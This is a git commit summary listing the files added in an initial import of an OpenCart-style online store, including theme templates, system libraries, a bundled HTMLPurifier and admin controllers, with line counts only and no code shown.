.../extension/module/bestseller_column.twig | 57 +
.../extension/module/blog_category.twig | 17 +
.../extension/module/blog_featured.twig | 30 +
.../extension/module/blog_latest.twig | 30 +
.../template/extension/module/carousel.twig | 24 +
.../template/extension/module/category.twig | 17 +
.../extension/module/ebay_listing.twig | 12 +
.../template/extension/module/featured.twig | 17 +
.../extension/module/featured_article.twig | 32 +
.../extension/module/featured_column.twig | 55 +
.../extension/module/featured_product.twig | 29 +
.../template/extension/module/filter.twig | 32 +
.../template/extension/module/html.twig | 4 +
.../extension/module/information.twig | 9 +
.../template/extension/module/latest.twig | 27 +
.../extension/module/latest_column.twig | 58 +
.../template/extension/module/slideshow.twig | 26 +
.../template/extension/module/special.twig | 27 +
.../extension/module/special_column.twig | 57 +
.../template/extension/module/store.twig | 9 +
.../extension/module/subcategory.twig | 68 +
.../template/extension/module/wd_banners.twig | 27 +
.../extension/module/wd_banners_alt.twig | 2 +
.../template/extension/module/wd_prems.twig | 32 +
.../extension/module/wd_services.twig | 26 +
.../extension/module/wd_slideshow.twig | 38 +
.../template/extension/module/wd_steps.twig | 27 +
.../template/extension/payment/cod.twig | 27 +
.../template/extension/total/coupon.twig | 47 +
.../template/extension/total/reward.twig | 47 +
.../template/extension/total/shipping.twig | 214 +
.../template/extension/total/voucher.twig | 47 +
.../dominik/template/information/contact.twig | 220 +
.../template/information/information.twig | 17 +
.../dominik/template/information/sitemap.twig | 71 +
.../dominik/template/mail/affiliate.twig | 19 +
.../template/mail/affiliate_alert.twig | 13 +
.../dominik/template/mail/forgotten.twig | 9 +
.../dominik/template/mail/order_add.twig | 116 +
.../dominik/template/mail/order_alert.twig | 33 +
.../dominik/template/mail/order_edit.twig | 21 +
.../theme/dominik/template/mail/register.twig | 19 +
.../dominik/template/mail/register_alert.twig | 9 +
.../theme/dominik/template/mail/request.twig | 17 +
.../dominik/template/mail/transaction.twig | 9 +
.../theme/dominik/template/mail/voucher.twig | 23 +
.../dominik/template/product/category.twig | 111 +
.../dominik/template/product/compare.twig | 130 +
.../template/product/manufacturer_info.twig | 171 +
.../template/product/manufacturer_list.twig | 78 +
.../dominik/template/product/product.twig | 750 +
.../dominik/template/product/review.twig | 22 +
.../dominik/template/product/search.twig | 212 +
.../dominik/template/product/special.twig | 113 +
.../dominik/template/service/service.twig | 52 +
.../template/service/service_list.twig | 38 +
public/system/.htaccess | 8 +
public/system/config/admin.php | 48 +
public/system/config/catalog.php | 62 +
public/system/config/default.php | 75 +
.../config/googleshopping/googleshopping.php | 774 +
public/system/config/index.html | 0
public/system/config/install.php | 34 +
public/system/engine/action.php | 84 +
public/system/engine/controller.php | 27 +
public/system/engine/event.php | 97 +
public/system/engine/loader.php | 264 +
public/system/engine/model.php | 27 +
public/system/engine/proxy.php | 54 +
public/system/engine/registry.php | 47 +
public/system/engine/router.php | 81 +
public/system/framework.php | 172 +
public/system/helper/HTMLPurifier.php | 297 +
.../system/helper/HTMLPurifier/Arborize.php | 71 +
.../helper/HTMLPurifier/AttrCollections.php | 148 +
public/system/helper/HTMLPurifier/AttrDef.php | 144 +
.../helper/HTMLPurifier/AttrDef/CSS.php | 136 +
.../HTMLPurifier/AttrDef/CSS/AlphaValue.php | 34 +
.../HTMLPurifier/AttrDef/CSS/Background.php | 111 +
.../AttrDef/CSS/BackgroundPosition.php | 157 +
.../HTMLPurifier/AttrDef/CSS/Border.php | 56 +
.../helper/HTMLPurifier/AttrDef/CSS/Color.php | 161 +
.../HTMLPurifier/AttrDef/CSS/Composite.php | 48 +
.../AttrDef/CSS/DenyElementDecorator.php | 44 +
.../HTMLPurifier/AttrDef/CSS/Filter.php | 77 +
.../helper/HTMLPurifier/AttrDef/CSS/Font.php | 176 +
.../HTMLPurifier/AttrDef/CSS/FontFamily.php | 219 +
.../helper/HTMLPurifier/AttrDef/CSS/Ident.php | 32 +
.../AttrDef/CSS/ImportantDecorator.php | 56 +
.../HTMLPurifier/AttrDef/CSS/Length.php | 77 +
.../HTMLPurifier/AttrDef/CSS/ListStyle.php | 112 +
.../HTMLPurifier/AttrDef/CSS/Multiple.php | 71 +
.../HTMLPurifier/AttrDef/CSS/Number.php | 90 +
.../HTMLPurifier/AttrDef/CSS/Percentage.php | 54 +
.../AttrDef/CSS/TextDecoration.php | 46 +
.../helper/HTMLPurifier/AttrDef/CSS/URI.php | 77 +
.../helper/HTMLPurifier/AttrDef/Clone.php | 44 +
.../helper/HTMLPurifier/AttrDef/Enum.php | 73 +
.../helper/HTMLPurifier/AttrDef/HTML/Bool.php | 48 +
.../HTMLPurifier/AttrDef/HTML/Class.php | 48 +
.../HTMLPurifier/AttrDef/HTML/Color.php | 51 +
.../HTMLPurifier/AttrDef/HTML/FrameTarget.php | 38 +
.../helper/HTMLPurifier/AttrDef/HTML/ID.php | 113 +
.../HTMLPurifier/AttrDef/HTML/Length.php | 56 +
.../HTMLPurifier/AttrDef/HTML/LinkTypes.php | 72 +
.../HTMLPurifier/AttrDef/HTML/MultiLength.php | 60 +
.../HTMLPurifier/AttrDef/HTML/Nmtokens.php | 70 +
.../HTMLPurifier/AttrDef/HTML/Pixels.php | 76 +
.../helper/HTMLPurifier/AttrDef/Integer.php | 91 +
.../helper/HTMLPurifier/AttrDef/Lang.php | 86 +
.../helper/HTMLPurifier/AttrDef/Switch.php | 53 +
.../helper/HTMLPurifier/AttrDef/Text.php | 21 +
.../helper/HTMLPurifier/AttrDef/URI.php | 111 +
.../helper/HTMLPurifier/AttrDef/URI/Email.php | 20 +
.../AttrDef/URI/Email/SimpleCheck.php | 29 +
.../helper/HTMLPurifier/AttrDef/URI/Host.php | 142 +
.../helper/HTMLPurifier/AttrDef/URI/IPv4.php | 45 +
.../helper/HTMLPurifier/AttrDef/URI/IPv6.php | 89 +
.../helper/HTMLPurifier/AttrTransform.php | 60 +
.../HTMLPurifier/AttrTransform/Background.php | 28 +
.../HTMLPurifier/AttrTransform/BdoDir.php | 27 +
.../HTMLPurifier/AttrTransform/BgColor.php | 28 +
.../HTMLPurifier/AttrTransform/BoolToCSS.php | 47 +
.../HTMLPurifier/AttrTransform/Border.php | 26 +
.../HTMLPurifier/AttrTransform/EnumToCSS.php | 68 +
.../AttrTransform/ImgRequired.php | 47 +
.../HTMLPurifier/AttrTransform/ImgSpace.php | 61 +
.../HTMLPurifier/AttrTransform/Input.php | 56 +
.../HTMLPurifier/AttrTransform/Lang.php | 31 +
.../HTMLPurifier/AttrTransform/Length.php | 45 +
.../HTMLPurifier/AttrTransform/Name.php | 33 +
.../HTMLPurifier/AttrTransform/NameSync.php | 41 +
.../HTMLPurifier/AttrTransform/Nofollow.php | 52 +
.../HTMLPurifier/AttrTransform/SafeEmbed.php | 25 +
.../HTMLPurifier/AttrTransform/SafeObject.php | 28 +
.../HTMLPurifier/AttrTransform/SafeParam.php | 79 +
.../AttrTransform/ScriptRequired.php | 23 +
.../AttrTransform/TargetBlank.php | 45 +
.../AttrTransform/TargetNoopener.php | 37 +
.../AttrTransform/TargetNoreferrer.php | 37 +
.../HTMLPurifier/AttrTransform/Textarea.php | 27 +
.../system/helper/HTMLPurifier/AttrTypes.php | 96 +
.../helper/HTMLPurifier/AttrValidator.php | 178 +
.../system/helper/HTMLPurifier/Bootstrap.php | 124 +
.../helper/HTMLPurifier/CSSDefinition.php | 533 +
.../system/helper/HTMLPurifier/ChildDef.php | 52 +
.../HTMLPurifier/ChildDef/Chameleon.php | 67 +
.../helper/HTMLPurifier/ChildDef/Custom.php | 102 +
.../helper/HTMLPurifier/ChildDef/Empty.php | 38 +
.../helper/HTMLPurifier/ChildDef/List.php | 92 +
.../helper/HTMLPurifier/ChildDef/Optional.php | 45 +
.../helper/HTMLPurifier/ChildDef/Required.php | 118 +
.../ChildDef/StrictBlockquote.php | 110 +
.../helper/HTMLPurifier/ChildDef/Table.php | 224 +
public/system/helper/HTMLPurifier/Config.php | 920 +
.../helper/HTMLPurifier/ConfigSchema.php | 176 +
.../ConfigSchema/Builder/ConfigSchema.php | 48 +
.../HTMLPurifier/ConfigSchema/Builder/Xml.php | 144 +
.../HTMLPurifier/ConfigSchema/Exception.php | 11 +
.../HTMLPurifier/ConfigSchema/Interchange.php | 47 +
.../ConfigSchema/Interchange/Directive.php | 89 +
.../ConfigSchema/Interchange/Id.php | 58 +
.../ConfigSchema/InterchangeBuilder.php | 226 +
.../HTMLPurifier/ConfigSchema/Validator.php | 248 +
.../ConfigSchema/ValidatorAtom.php | 130 +
.../HTMLPurifier/ConfigSchema/schema.ser | 1 +
.../schema/Attr.AllowedClasses.txt | 8 +
.../schema/Attr.AllowedFrameTargets.txt | 12 +
.../ConfigSchema/schema/Attr.AllowedRel.txt | 9 +
.../ConfigSchema/schema/Attr.AllowedRev.txt | 9 +
.../schema/Attr.ClassUseCDATA.txt | 19 +
.../schema/Attr.DefaultImageAlt.txt | 11 +
.../schema/Attr.DefaultInvalidImage.txt | 9 +
.../schema/Attr.DefaultInvalidImageAlt.txt | 8 +
.../schema/Attr.DefaultTextDir.txt | 10 +
.../ConfigSchema/schema/Attr.EnableID.txt | 16 +
.../schema/Attr.ForbiddenClasses.txt | 8 +
.../ConfigSchema/schema/Attr.ID.HTML5.txt | 10 +
.../ConfigSchema/schema/Attr.IDBlacklist.txt | 5 +
.../schema/Attr.IDBlacklistRegexp.txt | 9 +
.../ConfigSchema/schema/Attr.IDPrefix.txt | 12 +
.../schema/Attr.IDPrefixLocal.txt | 14 +
.../schema/AutoFormat.AutoParagraph.txt | 31 +
.../ConfigSchema/schema/AutoFormat.Custom.txt | 12 +
.../schema/AutoFormat.DisplayLinkURI.txt | 11 +
.../schema/AutoFormat.Linkify.txt | 12 +
.../AutoFormat.PurifierLinkify.DocURL.txt | 12 +
.../schema/AutoFormat.PurifierLinkify.txt | 12 +
.../AutoFormat.RemoveEmpty.Predicate.txt | 14 +
...rmat.RemoveEmpty.RemoveNbsp.Exceptions.txt | 11 +
.../AutoFormat.RemoveEmpty.RemoveNbsp.txt | 15 +
.../schema/AutoFormat.RemoveEmpty.txt | 46 +
...utoFormat.RemoveSpansWithoutAttributes.txt | 11 +
.../schema/CSS.AllowDuplicates.txt | 11 +
.../schema/CSS.AllowImportant.txt | 8 +
.../ConfigSchema/schema/CSS.AllowTricky.txt | 11 +
.../ConfigSchema/schema/CSS.AllowedFonts.txt | 12 +
.../schema/CSS.AllowedProperties.txt | 18 +
.../ConfigSchema/schema/CSS.DefinitionRev.txt | 11 +
.../schema/CSS.ForbiddenProperties.txt | 13 +
.../ConfigSchema/schema/CSS.MaxImgLength.txt | 16 +
.../ConfigSchema/schema/CSS.Proprietary.txt | 10 +
.../ConfigSchema/schema/CSS.Trusted.txt | 9 +
.../schema/Cache.DefinitionImpl.txt | 14 +
.../schema/Cache.SerializerPath.txt | 13 +
.../schema/Cache.SerializerPermissions.txt | 16 +
.../schema/Core.AggressivelyFixLt.txt | 18 +
.../schema/Core.AggressivelyRemoveScript.txt | 16 +
.../schema/Core.AllowHostnameUnderscore.txt | 16 +
.../schema/Core.AllowParseManyTags.txt | 12 +
.../schema/Core.CollectErrors.txt | 12 +
.../schema/Core.ColorKeywords.txt | 160 +
.../schema/Core.ConvertDocumentToFragment.txt | 14 +
.../Core.DirectLexLineNumberSyncInterval.txt | 17 +
.../schema/Core.DisableExcludes.txt | 14 +
.../ConfigSchema/schema/Core.EnableIDNA.txt | 9 +
.../ConfigSchema/schema/Core.Encoding.txt | 15 +
.../schema/Core.EscapeInvalidChildren.txt | 12 +
.../schema/Core.EscapeInvalidTags.txt | 7 +
.../schema/Core.EscapeNonASCIICharacters.txt | 13 +
.../schema/Core.HiddenElements.txt | 19 +
.../ConfigSchema/schema/Core.Language.txt | 10 +
.../schema/Core.LegacyEntityDecoder.txt | 36 +
.../ConfigSchema/schema/Core.LexerImpl.txt | 34 +
.../schema/Core.MaintainLineNumbers.txt | 16 +
.../schema/Core.NormalizeNewlines.txt | 11 +
.../schema/Core.RemoveInvalidImg.txt | 12 +
.../Core.RemoveProcessingInstructions.txt | 11 +
.../schema/Core.RemoveScriptContents.txt | 12 +
.../ConfigSchema/schema/Filter.Custom.txt | 11 +
.../Filter.ExtractStyleBlocks.Escaping.txt | 14 +
.../Filter.ExtractStyleBlocks.Scope.txt | 29 +
.../Filter.ExtractStyleBlocks.TidyImpl.txt | 16 +
.../schema/Filter.ExtractStyleBlocks.txt | 74 +
.../ConfigSchema/schema/Filter.YouTube.txt | 16 +
.../ConfigSchema/schema/HTML.Allowed.txt | 25 +
.../schema/HTML.AllowedAttributes.txt | 19 +
.../schema/HTML.AllowedComments.txt | 10 +
.../schema/HTML.AllowedCommentsRegexp.txt | 15 +
.../schema/HTML.AllowedElements.txt | 23 +
.../schema/HTML.AllowedModules.txt | 20 +
.../schema/HTML.Attr.Name.UseCDATA.txt | 11 +
.../ConfigSchema/schema/HTML.BlockWrapper.txt | 18 +
.../ConfigSchema/schema/HTML.CoreModules.txt | 23 +
.../schema/HTML.CustomDoctype.txt | 9 +
.../ConfigSchema/schema/HTML.DefinitionID.txt | 33 +
.../schema/HTML.DefinitionRev.txt | 16 +
.../ConfigSchema/schema/HTML.Doctype.txt | 11 +
.../schema/HTML.FlashAllowFullScreen.txt | 11 +
.../schema/HTML.ForbiddenAttributes.txt | 21 +
.../schema/HTML.ForbiddenElements.txt | 20 +
.../ConfigSchema/schema/HTML.Forms.txt | 11 +
.../ConfigSchema/schema/HTML.MaxImgLength.txt | 14 +
.../ConfigSchema/schema/HTML.Nofollow.txt | 7 +
.../ConfigSchema/schema/HTML.Parent.txt | 12 +
.../ConfigSchema/schema/HTML.Proprietary.txt | 12 +
.../ConfigSchema/schema/HTML.SafeEmbed.txt | 13 +
.../ConfigSchema/schema/HTML.SafeIframe.txt | 13 +
.../ConfigSchema/schema/HTML.SafeObject.txt | 13 +
.../schema/HTML.SafeScripting.txt | 10 +
.../ConfigSchema/schema/HTML.Strict.txt | 9 +
.../ConfigSchema/schema/HTML.TargetBlank.txt | 8 +
.../schema/HTML.TargetNoopener.txt | 10 +
.../schema/HTML.TargetNoreferrer.txt | 9 +
.../ConfigSchema/schema/HTML.TidyAdd.txt | 8 +
.../ConfigSchema/schema/HTML.TidyLevel.txt | 24 +
.../ConfigSchema/schema/HTML.TidyRemove.txt | 8 +
.../ConfigSchema/schema/HTML.Trusted.txt | 9 +
.../ConfigSchema/schema/HTML.XHTML.txt | 11 +
.../schema/Output.CommentScriptContents.txt | 10 +
.../schema/Output.FixInnerHTML.txt | 15 +
.../schema/Output.FlashCompat.txt | 11 +
.../ConfigSchema/schema/Output.Newline.txt | 13 +
.../ConfigSchema/schema/Output.SortAttr.txt | 14 +
.../ConfigSchema/schema/Output.TidyFormat.txt | 25 +
.../ConfigSchema/schema/Test.ForceNoIconv.txt | 7 +
.../schema/URI.AllowedSchemes.txt | 18 +
.../ConfigSchema/schema/URI.Base.txt | 17 +
.../ConfigSchema/schema/URI.DefaultScheme.txt | 15 +
.../ConfigSchema/schema/URI.DefinitionID.txt | 11 +
.../ConfigSchema/schema/URI.DefinitionRev.txt | 11 +
.../ConfigSchema/schema/URI.Disable.txt | 14 +
.../schema/URI.DisableExternal.txt | 11 +
.../schema/URI.DisableExternalResources.txt | 13 +
.../schema/URI.DisableResources.txt | 15 +
.../ConfigSchema/schema/URI.Host.txt | 19 +
.../ConfigSchema/schema/URI.HostBlacklist.txt | 9 +
.../ConfigSchema/schema/URI.MakeAbsolute.txt | 13 +
.../ConfigSchema/schema/URI.Munge.txt | 83 +
.../schema/URI.MungeResources.txt | 17 +
.../schema/URI.MungeSecretKey.txt | 30 +
.../schema/URI.OverrideAllowedSchemes.txt | 9 +
.../schema/URI.SafeIframeRegexp.txt | 22 +
.../HTMLPurifier/ConfigSchema/schema/info.ini | 3 +
.../helper/HTMLPurifier/ContentSets.php | 170 +
public/system/helper/HTMLPurifier/Context.php | 95 +
.../system/helper/HTMLPurifier/Definition.php | 55 +
.../helper/HTMLPurifier/DefinitionCache.php | 129 +
.../DefinitionCache/Decorator.php | 112 +
.../DefinitionCache/Decorator/Cleanup.php | 78 +
.../DefinitionCache/Decorator/Memory.php | 85 +
.../DefinitionCache/Decorator/Template.php.in | 82 +
.../HTMLPurifier/DefinitionCache/Null.php | 76 +
.../DefinitionCache/Serializer.php | 311 +
...c0a322b208e83d22d3aef33ecb184bc71d31,1.ser | Bin 0 -> 93685 bytes
.../DefinitionCache/Serializer/README | 3 +
.../HTMLPurifier/DefinitionCacheFactory.php | 106 +
public/system/helper/HTMLPurifier/Doctype.php | 73 +
.../helper/HTMLPurifier/DoctypeRegistry.php | 142 +
.../system/helper/HTMLPurifier/ElementDef.php | 216 +
public/system/helper/HTMLPurifier/Encoder.php | 617 +
.../helper/HTMLPurifier/EntityLookup.php | 48 +
.../HTMLPurifier/EntityLookup/entities.ser | 1 +
.../helper/HTMLPurifier/EntityParser.php | 285 +
.../helper/HTMLPurifier/ErrorCollector.php | 244 +
.../helper/HTMLPurifier/ErrorStruct.php | 74 +
.../system/helper/HTMLPurifier/Exception.php | 12 +
public/system/helper/HTMLPurifier/Filter.php | 56 +
.../Filter/ExtractStyleBlocks.php | 341 +
.../helper/HTMLPurifier/Filter/YouTube.php | 65 +
.../system/helper/HTMLPurifier/Generator.php | 286 +
.../helper/HTMLPurifier/HTMLDefinition.php | 493 +
.../system/helper/HTMLPurifier/HTMLModule.php | 284 +
.../helper/HTMLPurifier/HTMLModule/Bdo.php | 44 +
.../HTMLModule/CommonAttributes.php | 31 +
.../helper/HTMLPurifier/HTMLModule/Edit.php | 55 +
.../helper/HTMLPurifier/HTMLModule/Forms.php | 194 +
.../HTMLPurifier/HTMLModule/Hypertext.php | 40 +
.../helper/HTMLPurifier/HTMLModule/Iframe.php | 51 +
.../helper/HTMLPurifier/HTMLModule/Image.php | 49 +
.../helper/HTMLPurifier/HTMLModule/Legacy.php | 186 +
.../helper/HTMLPurifier/HTMLModule/List.php | 51 +
.../helper/HTMLPurifier/HTMLModule/Name.php | 26 +
.../HTMLPurifier/HTMLModule/Nofollow.php | 25 +
.../HTMLModule/NonXMLCommonAttributes.php | 20 +
.../helper/HTMLPurifier/HTMLModule/Object.php | 62 +
.../HTMLPurifier/HTMLModule/Presentation.php | 42 +
.../HTMLPurifier/HTMLModule/Proprietary.php | 40 +
.../helper/HTMLPurifier/HTMLModule/Ruby.php | 36 +
.../HTMLPurifier/HTMLModule/SafeEmbed.php | 40 +
.../HTMLPurifier/HTMLModule/SafeObject.php | 62 +
.../HTMLPurifier/HTMLModule/SafeScripting.php | 40 +
.../HTMLPurifier/HTMLModule/Scripting.php | 73 +
.../HTMLModule/StyleAttribute.php | 33 +
.../helper/HTMLPurifier/HTMLModule/Tables.php | 75 +
.../helper/HTMLPurifier/HTMLModule/Target.php | 28 +
.../HTMLPurifier/HTMLModule/TargetBlank.php | 24 +
.../HTMLModule/TargetNoopener.php | 21 +
.../HTMLModule/TargetNoreferrer.php | 21 +
.../helper/HTMLPurifier/HTMLModule/Text.php | 87 +
.../helper/HTMLPurifier/HTMLModule/Tidy.php | 230 +
.../HTMLPurifier/HTMLModule/Tidy/Name.php | 33 +
.../HTMLModule/Tidy/Proprietary.php | 34 +
.../HTMLPurifier/HTMLModule/Tidy/Strict.php | 43 +
.../HTMLModule/Tidy/Transitional.php | 16 +
.../HTMLPurifier/HTMLModule/Tidy/XHTML.php | 26 +
.../HTMLModule/Tidy/XHTMLAndHTML4.php | 180 +
.../HTMLModule/XMLCommonAttributes.php | 20 +
.../helper/HTMLPurifier/HTMLModuleManager.php | 467 +
.../helper/HTMLPurifier/IDAccumulator.php | 57 +
.../system/helper/HTMLPurifier/Injector.php | 283 +
.../HTMLPurifier/Injector/AutoParagraph.php | 356 +
.../HTMLPurifier/Injector/DisplayLinkURI.php | 40 +
.../helper/HTMLPurifier/Injector/Linkify.php | 64 +
.../HTMLPurifier/Injector/PurifierLinkify.php | 71 +
.../HTMLPurifier/Injector/RemoveEmpty.php | 112 +
.../Injector/RemoveSpansWithoutAttributes.php | 84 +
.../HTMLPurifier/Injector/SafeObject.php | 124 +
.../system/helper/HTMLPurifier/Language.php | 204 +
.../HTMLPurifier/Language/messages/en.php | 55 +
.../helper/HTMLPurifier/LanguageFactory.php | 209 +
public/system/helper/HTMLPurifier/Length.php | 162 +
public/system/helper/HTMLPurifier/Lexer.php | 382 +
.../helper/HTMLPurifier/Lexer/DOMLex.php | 338 +
.../helper/HTMLPurifier/Lexer/DirectLex.php | 539 +
.../system/helper/HTMLPurifier/Lexer/PH5P.php | 4788 +
public/system/helper/HTMLPurifier/Node.php | 49 +
.../helper/HTMLPurifier/Node/Comment.php | 36 +
.../helper/HTMLPurifier/Node/Element.php | 59 +
.../system/helper/HTMLPurifier/Node/Text.php | 54 +
.../helper/HTMLPurifier/PercentEncoder.php | 111 +
public/system/helper/HTMLPurifier/Printer.php | 218 +
.../HTMLPurifier/Printer/CSSDefinition.php | 44 +
.../HTMLPurifier/Printer/ConfigForm.css | 10 +
.../helper/HTMLPurifier/Printer/ConfigForm.js | 5 +
.../HTMLPurifier/Printer/ConfigForm.php | 451 +
.../HTMLPurifier/Printer/HTMLDefinition.php | 324 +
.../helper/HTMLPurifier/PropertyList.php | 122 +
.../HTMLPurifier/PropertyListIterator.php | 42 +
public/system/helper/HTMLPurifier/Queue.php | 56 +
.../system/helper/HTMLPurifier/Strategy.php | 26 +
.../HTMLPurifier/Strategy/Composite.php | 30 +
.../helper/HTMLPurifier/Strategy/Core.php | 17 +
.../HTMLPurifier/Strategy/FixNesting.php | 181 +
.../HTMLPurifier/Strategy/MakeWellFormed.php | 659 +
.../Strategy/RemoveForeignElements.php | 207 +
.../Strategy/ValidateAttributes.php | 45 +
.../system/helper/HTMLPurifier/StringHash.php | 47 +
.../helper/HTMLPurifier/StringHashParser.php | 136 +
.../helper/HTMLPurifier/TagTransform.php | 37 +
.../helper/HTMLPurifier/TagTransform/Font.php | 114 +
.../HTMLPurifier/TagTransform/Simple.php | 44 +
public/system/helper/HTMLPurifier/Token.php | 100 +
.../helper/HTMLPurifier/Token/Comment.php | 38 +
.../helper/HTMLPurifier/Token/Empty.php | 15 +
.../system/helper/HTMLPurifier/Token/End.php | 24 +
.../helper/HTMLPurifier/Token/Start.php | 10 +
.../system/helper/HTMLPurifier/Token/Tag.php | 68 +
.../system/helper/HTMLPurifier/Token/Text.php | 53 +
.../helper/HTMLPurifier/TokenFactory.php | 118 +
public/system/helper/HTMLPurifier/URI.php | 316 +
.../helper/HTMLPurifier/URIDefinition.php | 112 +
.../system/helper/HTMLPurifier/URIFilter.php | 74 +
.../URIFilter/DisableExternal.php | 54 +
.../URIFilter/DisableExternalResources.php | 25 +
.../URIFilter/DisableResources.php | 22 +
.../HTMLPurifier/URIFilter/HostBlacklist.php | 46 +
.../HTMLPurifier/URIFilter/MakeAbsolute.php | 158 +
.../helper/HTMLPurifier/URIFilter/Munge.php | 115 +
.../HTMLPurifier/URIFilter/SafeIframe.php | 68 +
.../system/helper/HTMLPurifier/URIParser.php | 71 +
.../system/helper/HTMLPurifier/URIScheme.php | 102 +
.../helper/HTMLPurifier/URIScheme/data.php | 136 +
.../helper/HTMLPurifier/URIScheme/file.php | 44 +
.../helper/HTMLPurifier/URIScheme/ftp.php | 58 +
.../helper/HTMLPurifier/URIScheme/http.php | 36 +
.../helper/HTMLPurifier/URIScheme/https.php | 18 +
.../helper/HTMLPurifier/URIScheme/mailto.php | 40 +
.../helper/HTMLPurifier/URIScheme/news.php | 35 +
.../helper/HTMLPurifier/URIScheme/nntp.php | 32 +
.../helper/HTMLPurifier/URIScheme/tel.php | 46 +
.../helper/HTMLPurifier/URISchemeRegistry.php | 81 +
.../helper/HTMLPurifier/UnitConverter.php | 307 +
.../system/helper/HTMLPurifier/VarParser.php | 198 +
.../HTMLPurifier/VarParser/Flexible.php | 130 +
.../helper/HTMLPurifier/VarParser/Native.php | 38 +
.../HTMLPurifier/VarParserException.php | 11 +
public/system/helper/HTMLPurifier/Zipper.php | 157 +
public/system/helper/general.php | 62 +
public/system/helper/utf8.php | 590 +
public/system/library/cache.php | 64 +
public/system/library/cache/apc.php | 33 +
public/system/library/cache/file.php | 79 +
public/system/library/cache/mem.php | 27 +
public/system/library/cache/memcached.php | 27 +
public/system/library/cache/redis.php | 33 +
public/system/library/cart/cart.php | 407 +
public/system/library/cart/currency.php | 115 +
public/system/library/cart/customer.php | 132 +
public/system/library/cart/length.php | 57 +
public/system/library/cart/tax.php | 128 +
public/system/library/cart/user.php | 95 +
public/system/library/cart/weight.php | 57 +
public/system/library/config.php | 67 +
public/system/library/db.php | 85 +
public/system/library/db/mpdo.php | 111 +
public/system/library/db/mssql.php | 79 +
public/system/library/db/mysql.php | 90 +
public/system/library/db/mysqli.php | 64 +
public/system/library/db/pgsql.php | 68 +
public/system/library/document.php | 170 +
public/system/library/encryption.php | 37 +
.../library/export_import/composer.json | 5 +
.../library/export_import/composer.lock | 703 +
public/system/library/googleshopping/cron.php | 9 +
.../library/googleshopping/cron_functions.php | 42 +
.../exception/accessforbidden.php | 6 +
.../googleshopping/exception/connection.php | 6 +
.../library/googleshopping/googleshopping.php | 1919 +
.../system/library/googleshopping/library.php | 19 +
public/system/library/googleshopping/log.php | 55 +
.../googleshopping/traits/libraryloader.php | 11 +
.../googleshopping/traits/storeloader.php | 15 +
public/system/library/image.php | 427 +
public/system/library/language.php | 85 +
public/system/library/log.php | 41 +
public/system/library/mail.php | 144 +
public/system/library/mail/mail.php | 80 +
public/system/library/mail/smtp.php | 247 +
public/system/library/pagination.php | 106 +
public/system/library/request.php | 51 +
public/system/library/response.php | 121 +
public/system/library/seopro.php | 731 +
public/system/library/session.php | 90 +
public/system/library/session/db.php | 58 +
public/system/library/session/file.php | 77 +
public/system/library/template.php | 53 +
public/system/library/template/template.php | 26 +
public/system/library/template/twig.php | 47 +
public/system/library/url.php | 69 +
public/system/modification.xml | 32 +
public/system/startup.php | 117 +
storage/cache/index.html | 0
storage/composer.json | 20 +
storage/composer.lock | 340 +
storage/download/index.html | 0
storage/logs/index.html | 0
storage/modification/index.html | 10 +
storage/session/index.html | 0
storage/upload/index.html | 0
2371 files changed, 661486 insertions(+)
create mode 100644 .gitignore
create mode 100644 public/.htaccess
create mode 100644 public/admin/controller/blog/article.php
create mode 100644 public/admin/controller/blog/category.php
create mode 100644 public/admin/controller/blog/review.php
create mode 100644 public/admin/controller/blog/setting.php
create mode 100644 public/admin/controller/catalog/attribute.php
create mode 100644 public/admin/controller/catalog/attribute_group.php
create mode 100644 public/admin/controller/catalog/category.php
create mode 100644 public/admin/controller/catalog/download.php
create mode 100644 public/admin/controller/catalog/filter.php
create mode 100644 public/admin/controller/catalog/information.php
create mode 100644 public/admin/controller/catalog/manufacturer.php
create mode 100644 public/admin/controller/catalog/option.php
create mode 100644 public/admin/controller/catalog/product.php
create mode 100644 public/admin/controller/catalog/recurring.php
create mode 100644 public/admin/controller/catalog/review.php
create mode 100644 public/admin/controller/common/column_left.php
create mode 100644 public/admin/controller/common/dashboard.php
create mode 100644 public/admin/controller/common/developer.php
create mode 100644 public/admin/controller/common/filemanager.php
create mode 100644 public/admin/controller/common/footer.php
create mode 100644 public/admin/controller/common/forgotten.php
create mode 100644 public/admin/controller/common/header.php
create mode 100644 public/admin/controller/common/login.php
create mode 100644 public/admin/controller/common/logout.php
create mode 100644 public/admin/controller/common/profile.php
create mode 100644 public/admin/controller/common/reset.php
create mode 100644 public/admin/controller/common/security.php
create mode 100644 public/admin/controller/customer/custom_field.php
create mode 100644 public/admin/controller/customer/customer.php
create mode 100644 public/admin/controller/customer/customer_approval.php
create mode 100644 public/admin/controller/customer/customer_group.php
create mode 100644 public/admin/controller/design/banner.php
create mode 100644 public/admin/controller/design/layout.php
create mode 100644 public/admin/controller/design/seo_url.php
create mode 100644 public/admin/controller/design/theme.php
create mode 100644 public/admin/controller/design/translation.php
create mode 100644 public/admin/controller/error/not_found.php
create mode 100644 public/admin/controller/error/permission.php
create mode 100644 public/admin/controller/event/language.php
create mode 100644 public/admin/controller/event/statistics.php
create mode 100644 public/admin/controller/event/theme.php
create mode 100644 public/admin/controller/extension/advertise/google.php
create mode 100644 public/admin/controller/extension/analytics/google.php
create mode 100644 public/admin/controller/extension/analytics/yandex_metrika.php
create mode 100644 public/admin/controller/extension/captcha/basic.php
create mode 100644 public/admin/controller/extension/captcha/google.php
create mode 100644 public/admin/controller/extension/currency/cbr.php
create mode 100644 public/admin/controller/extension/currency/ecb.php
create mode 100644 public/admin/controller/extension/currency/fixer.php
create mode 100644 public/admin/controller/extension/currency/nbu.php
create mode 100644 public/admin/controller/extension/dashboard/activity.php
create mode 100644 public/admin/controller/extension/dashboard/chart.php
create mode 100644 public/admin/controller/extension/dashboard/customer.php
create mode 100644 public/admin/controller/extension/dashboard/domovoy.php
create mode 100644 public/admin/controller/extension/dashboard/map.php
create mode 100644 public/admin/controller/extension/dashboard/online.php
create mode 100644 public/admin/controller/extension/dashboard/order.php
create mode 100644 public/admin/controller/extension/dashboard/recent.php
create mode 100644 public/admin/controller/extension/dashboard/sale.php
create mode 100644 public/admin/controller/extension/export_import.php
create mode 100644 public/admin/controller/extension/extension/advertise.php
create mode 100644 public/admin/controller/extension/extension/analytics.php
create mode 100644 public/admin/controller/extension/extension/captcha.php
create mode 100644 public/admin/controller/extension/extension/currency.php
create mode 100644 public/admin/controller/extension/extension/dashboard.php
create mode 100644 public/admin/controller/extension/extension/feed.php
create mode 100644 public/admin/controller/extension/extension/fraud.php
create mode 100644 public/admin/controller/extension/extension/menu.php
create mode 100644 public/admin/controller/extension/extension/module.php
create mode 100644 public/admin/controller/extension/extension/payment.php
